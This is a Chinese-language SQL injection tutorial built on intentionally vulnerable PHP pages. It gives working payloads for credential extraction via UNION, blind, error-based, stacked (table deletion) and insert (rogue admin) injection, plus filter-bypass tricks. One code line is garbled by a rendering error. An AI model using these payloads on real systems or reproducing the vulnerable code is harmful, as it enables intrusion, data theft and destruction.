文章目錄
- 1.數字型和UNION注入
- 2.資料庫結構未知是如何得知資料表的欄位名和表名?
- 3.字符型注入和布爾注入
- 3.1 字符型注入
- 3.2 布爾盲注
- 4.報錯注入
- 5.堆疊注入
- 6.二次注入
- 7.注入點
- 7.1 SELECT注入
- 7.2 insert注入
- 7.4 update注入
- 7.4 delete注入
- 8.注入的防御
- 8.1 字符替換
- 8.2 逃逸引號
1.數字型和UNION注入
有如下資料庫結構:

<?php
require_once 'conn.php';
$res = mysqli_query($conn,"select title,content from wp_news where id=".$_GET['id']);
$row = mysqli_fetch_array($res);
echo "<center>";
echo"<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
??示例的部分代碼如上,下面演示SQL注入攻擊程序:
- 訪問鏈接:http://x.x.x.x/sql/sql1.php?id=2

- 再去訪問:http://47.94.144.61/sql/sql1.php?id=3-1

- 可以看到頁面仍然顯示和之前id=2一樣的結果,說明mysql對’3-1‘進行了計算,結果為2,
- 從數字運算這個特征行為可以判斷該注入點為數字型注入,表現為輸入點“$_GET[‘id’]”附近沒有引號包裹,
- select title,content from wp_news where id=1 union select user,pwd from wp_user;

- 這個SQL陳述句的作用是查詢新聞表中id=1時對應行的title、content欄位的資料,并且聯合查詢用戶表中的user、pwd(即賬號密碼欄位)的全部內容,
- 此時我們構造pauload,http://x.x.x.x/sql/sql1.php?id=1 union select user,pwd from wp_user,但是發現只顯示了一行內容,事實上,MySQL確實查詢出了兩行記錄,但是PHP代碼決定了該頁面只顯示一行記錄,所以我們需要將賬號密碼的記錄顯示在查詢結果的第一行,
- 有兩種方法:
(1)使用limit 1,1 陳述句:http://x.x.x.x/sql/sql1.php?id=1 union select user,pwd from wp_user limit 1,1
(2)指定id=-1或者一個很大的值,使得第一行記錄無法被查詢到,這樣結果就只有一行記錄:http://x.x.x.x/sql/sql1.php?id=-1 union select user,pwd from wp_user - 通常把使用UNION陳述句將資料展示到頁面上的注入辦法稱為UNION(聯合查詢)注入,
2.資料庫結構未知是如何得知資料表的欄位名和表名?
??MySQL 5.0版本后,默認自帶一個資料庫information_schema,MySQL的所有資料庫名、表名、欄位名都可以從中查詢到,雖然引入這個庫是為了方便資料庫資訊的查詢,但客觀上大大方便了SQL注入的利用,繼續利用上面的例子:
- 查本資料庫所有的表名:http://x.x.x.x/sql/sql1.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
(1)table_name欄位是information_schema庫的tables表的表名欄位,
(2)database()函式回傳的內容是當前資料庫的名稱,
(3)group_concat是聯合多行記錄的函式,
(4)表中還有資料庫名欄位table_schema, - 查詢資料表中的欄位名:http://x.x.x.x/sql/sql1.php?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘wp_user’
3.字符型注入和布爾注入
<?php
require_once 'conn.php';
$res = mysqli_query($conn,"select title,content from wp_news where id='".$_GET['id']."'");
$row = mysqli_fetch_array($res);
echo "<center>";
echo"<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
3.1 字符型注入
??與sql1.php相比,上面的代碼只是在GET引數輸入的地方包裹了單引號,讓其變成字串,在mysql查詢是執行的下面陳述句:select title,content from wp_news where id=‘1’
- 在MySQL中,等號兩邊如果型別不一致,則會發生強制轉換,當數字與字串資料比較時,字串將被轉換為數字,再進行比較,字串1與數字相等;字串1a被強制轉換成1,與1相等;字串a被強制轉換成0所以與0相等,

- 按照以上的特性我們可以判斷,注入點是否為字符型,
- 訪問http://47.94.144.61/sql/sql2.php?id=3-2,頁面為空,
- 訪問http://47.94.144.61/sql/sql2.php?id=1a,結果如下,說明是字符型注入:

- 嘗試使用單引號閉合前面的單引號,再用#或–%20注釋掉后面的陳述句,此時的payload一定要URL編碼,
- 訪問 http://x.x.x.x/sql/sql2.php?id=%31%27%23 ,結果和上面一樣,此時執行的sql陳述句為select title,content from wp_news where id=‘1’#’
- 輸入的單引號閉合了前面預置的單引號,輸入的“#”注釋了后面預置的單引號,查詢陳述句成功執行,接下來的操作就與數字型注入一致了,
- http://x.x.x.x/sql/sql2.php?id=-1’ union select user,pwd from wp_user#
3.2 布爾盲注
??除了注釋掉后面的,也可以采用引號來閉合后面的單引號,如:http://x.x.x.x/sql/sql2.php?id=1%27%20and%20%271,執行的sql陳述句是: select title,content from wp_news where id = ‘1’ and ‘1’;

- 關鍵字WHERE是SELECT操作的一個判斷條件,之前的id=1即查詢條件,這里,AND代表需要同時滿足兩個條件,一個是id=1,另一個是’1’,由于字串’1’被強制轉換成True,代表這個條件成立,因此資料庫查詢出id=1的記錄,
- 再次執行這條陳述句:select title,content from wp_news where id = ‘1’ and ‘a’;
- 第1個條件仍為id=1,第2個條件字串’a’被強制轉換成邏輯假,所以條件不滿足,查詢結果為空,
- 當頁面顯示為sqli時,AND后面的值為真,當頁面顯示為空時,AND后面的值為假,雖然我們看不到直接的資料,但是可以通過注入推測出資料,這種技術被稱為布爾盲注,
- 假設猜測的字符未知此時我們可以注意==逐一從a開始進行猜測,但是這樣速度會很慢,
- 此時我們可以換個符號,使用小于符號按范圍猜測,select title,content from wp_news where id = ‘1’ and ‘a’ < ‘f’,這樣可以很快知道被猜測的資料小于字符’f’,隨后用二分法繼續猜出被測字符,
- 這只是在單字符條件下,資料庫大多都不是一個字符,此時我們就要使用資料截取函式如substring()、mid()、substr(),

- 查詢:select concat(user,0x7e,pwd) from wp_user;
- 截取第一位:select mid((select concat(user,0x7e,pwd) from wp_user),1,1);
- 拼接完整陳述句:id = 1’ and (select mid((select concat(user,0x7e,pwd) from wp_user),1,1)) = ‘a’#
- 在截取第二位:id = 1’ and (select mid((select concat(user,0x7e,pwd) from wp_user),2,1)) = ‘b’#
- 一次類推,即可得到相應的資料,盲注程序中,根據頁面回顯的不同來判斷布爾盲注比較常見,除此之外,還有一類盲注方式頁面回傳完全一致所以需要通過其他手段進行判斷,
- 通過服務器執行SQL陳述句所需要的時間,如sleep()陳述句,通過sleep()函式,利用IF條件函式或AND、OR函式的短路特性和SQL執行的時間判斷SQL攻擊的結果,這種注入的方式被稱為時間盲注,
- 如下我們判斷資料庫長度的方法:id=-1’ union select 1,if(length(database()=4),sleep(5),1)#
4.報錯注入
<?php
require_once 'conn.php';
$res = mysqli_query($conn,"select title,content from wp_news where id='".$_GET['id']."'") or var_dump(mysqli_error($conn));
$row = mysqli_fetch_array($res);
echo "<center>";
echo"<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
??為了方便開發者除錯,有的網站會開啟錯誤除錯資訊,代碼如上所示,此時只要觸發sql陳述句的錯誤,即可在頁面上看到錯誤資訊如下:

- 這種攻擊方式則是因為MySQL會將陳述句執行后的報錯資訊輸出,故稱為報錯注入,
- updatexml在執行時,第二個引數應該為合法的XPATH路徑,否則會在引發報錯的同時將傳入的引數進行輸出,如下陳述句:select title,content from wp_news where id=‘1’ or updatexml(1,concat(0x7e,(select pwd from wp_user)),1);

- payload為:1’or updatexml(1,concat(0x7e,(select pwd from wp_user)),1)#
5.堆疊注入
<?php
require_once 'conn.php';
$sql = "select title,content from wp_news where id='".$_GET['id']."'";
try{
foreach($conn->query($sql) as $row){
print_r($row);
}
}
catch(PDOException $e){
echo $e->getMessage();
die();
}
?>
- 此時可在閉合單引號后執行任意SQL陳述句,
- 如下我們執行洗掉資料表wp_files,
- Url:http://x.x.x.x/sql4.php?id=1%27;delete from wp_files;#
6.二次注入
-
用戶輸入的用戶名admin’or’1經過轉義為了admin’or’1,
-
此時,由于引號被轉義,并沒有注入產生,資料正常入庫,

-
但是,當這個用戶名再次被使用時(通常為session資訊),如下代碼:
<?php require_once 'conn.php'; $conn = mysqli_query($conn,"select username from wp_user where id = 2"); $row = mysqli_fetch_array($res); $name = $row["username"]; $res = mysqli_query($conn,"select password from wp_user where username='$name'"); ?> -
當name進入SQL陳述句后,變為:select password from where username = 'admin’or’1’產生了注入,
7.注入點
7.1 SELECT注入
(1)注入點在select_expr,如下代碼:
<?php
require_once 'conn.php';
$sql = "select ${_GET['id']},content from wp_news";
$res = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
-
利用AS別名的方法,直接將查詢的結果顯示到界面中,
-
URL:http://x.x.x.x/sql/sqln1.php?id=(select pwd from wp_user) as title
(2)注入點在table_reference,如下代碼:<?php require_once 'conn.php'; $sql = "select title from ${_GET['table']}"); $res = mysqli_query($conn,$sql); $row = mysqli_fetch_array($res); echo "<center>"; echo "<h1>".$row['title']."</h1>"; echo "<br>"; echo "<h1>".$row['content']."</h1>"; echo "</center>"; ?> -
URL:http://x.x.x.x/sql/sqln2.php?table=(select pwd as title from wp_user)a
-
在select_expr和table_reference的注入,如果注入的點有反引號包裹,那么需要先閉合反引號,
(3)注入點在WHERE或HAVING后 -
$res = mysqli_query($conn,“select title from wp_news where id= ${_GET[id]}”);
-
要先判斷有無引號包裹,再閉合前面可能存在的括號,即可進行注入來獲取資料,having資料類似,
(4)注入點在GROUP BY或ORDER BY后 -
$res = mysqli_query($conn,“select title from wp_news group by ${_GET[‘title’]}”);
(5) 注入點在limit之后
??LIMIT后的注入判斷比較簡單,通過更改數字大小,頁面會顯示更多或者更少的記錄數,由于語法限制,前面的字符注入方式不可行(LIMIT后只能是數字),在整個SQL陳述句沒有ORDER BY關鍵字的情況下,可以直接使用UNION注入,
7.2 insert注入
(1)注入點在tbl_name,代碼如下:
<?php require_once 'conn.php'; $sql = "insert into {$_GET['table']} values(2,2,2,2)"; $res = mysqli_query($conn,$sql); ?>- URL:http://47.94.144.61/sql/insert.php?table=wp_user values(2,‘‘newadmin’,‘newpass’)#
- 成功地插入了一個新的管理員,
(2)注入點在values
- Insert into wp_user values(1,1,‘可控位置’);
- 此時可先閉合單引號,然后另行插入一條記錄,通常管理員和普通用戶在同一個表,此時便可以通過表欄位來控制管理員權限,
- Insert into wp_user values(1,0,‘1’),(2,1,‘aaa’);
- 如果用戶表的第2個欄位代表的是管理員權限標識,便能插入一個管理員用戶,在某些情況下,我們也可以將資料插入能回顯的欄位,來快速獲取資料,假設最后一個欄位的資料會被顯示到頁面上,那么采用如下陳述句注入,即可將第一個用戶的密碼顯示出來,
- Insert into wp_user values(1,1,‘1’),(2,2,(select pwd from wp_user limit 1));
7.4 update注入
??注入點位于SET后為例,一個正常的update陳述句,下圖可以看到,原先表wp_user第2行的id資料被修改,

??當id資料可控時,則可修改多個欄位資料,如:Update wp_user set id=3,user=‘xxx’ where user=‘23’;
7.4 delete注入
- $res = mysqli_query(KaTeX parse error: Expected '}', got 'EOF' at end of input: …ws where id = {_GET[‘id’]}");
- DELETE陳述句的作用是洗掉某個表的全部或指定行的資料,對id引數進行注入時,稍有不慎就會使WHERE后的值為True,導致整個wp_news的資料被洗掉,
- 為了保證不會對正常資料造成干擾,通常使用’and sleep(1)'的方式保證WHERE后的結果回傳為False,
8.注入的防御
8.1 字符替換
??為了防御SQL注入,有的開發者直接簡單、暴力地將諸如SELECT、FROM的關鍵字替換或者匹配攔截,
(1) 只過濾空格,代碼如下:
<?php
require_once 'conn.php';
$id = $_GET['id'];
echo "before replace id:$id";
$id = str_replace(" ","",$id);
echo "<br>";
echo "after replace id:$id";
$sql = "select title,content from wp_news where id=".$id;
$res = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($res);
echo "<center>";
echo"<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
- 使用之前的payload會被替換為空,-1 union select 1,2,
- 除了空格,在代碼中可以代替的空白符還有%0a、%0b、%0c、%0d、%09、%a0,
- 將空格替換為%09,-1%09union%09select%091,2,
(2)select替換成空,
- $id = str_replace(“select”,"",$id)
- 可以用嵌套的方式,如SESELECTLECT形式,在經過過濾后又變回了SELECT,
(3)大小寫匹配,
- 在MySQL中,關鍵字是不區分大小寫的,如果只匹配了"SELECT",便能用大小寫混寫的方式輕易繞過,如"sEleCT",
(4)正則匹配,
- 正則匹配關鍵字"\bselect\b"可以用形如"/!50000select/"的方式繞過,
(5)替換了單引號或雙引號,忘記了反斜杠,
- $sql = “select * from wp_news where id = ‘可控1’ and title = ‘可控2’”
- 繞過陳述句:id = ‘a’ and titlr = ‘or sleep(1)#’
- 第1個可控點的反斜杠轉義了可控點1預置的單引號,導致可控點2逃逸出單引號,
8.2 逃逸引號
??開發者常會將用戶的輸入全域地做一次addslashes,也就是轉義如單引號、反斜杠等字符,如“’”變為“’”,
(1)編碼解碼,
開發者常常會用到形如urldecode、base64_decode的解碼函式或者自定義的加解密函式,當用戶輸入addslashes函式時,資料處于編碼狀態,引號無法被轉義,解碼后如果直接進入SQL陳述句即可造成注入,同樣的情況也發生在加密/解密、字符集轉換的情況,
(2)意料之外的輸入點,
開發者在轉義用戶輸入時遺漏了一些可控點,以PHP為例,形如上傳的檔案名、http header、$_SERVER[‘PHP_SELF’]這些變數通常被開發者遺忘,導致被注入,
(3)字串截斷,
??在標題、抬頭等位置,開發者可能限定標題的字符不能超過10個字符,超過則會被截斷,例如,PHP代碼如下:
<?php
require_once 'conn.php';
$title = addslashes($_GET['title']);
$title = substr($title,0,10);
echo "<center>$title</center>";
$content = addslashes($_GET['content']);
$sql = "insert into wp_news values(2,'$title','$content')";
$res = mysqli_query($conn,$sql);
?>
??假設攻擊者輸入“aaaaaaaaa’”,自動轉義為“aaaaaaaaa’”,由于字符長度限制,被截取為“aaaaaaaaa\”,正好轉義了預置的單引號,這樣在content的地方即可注入,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/356735.html
標籤:其他
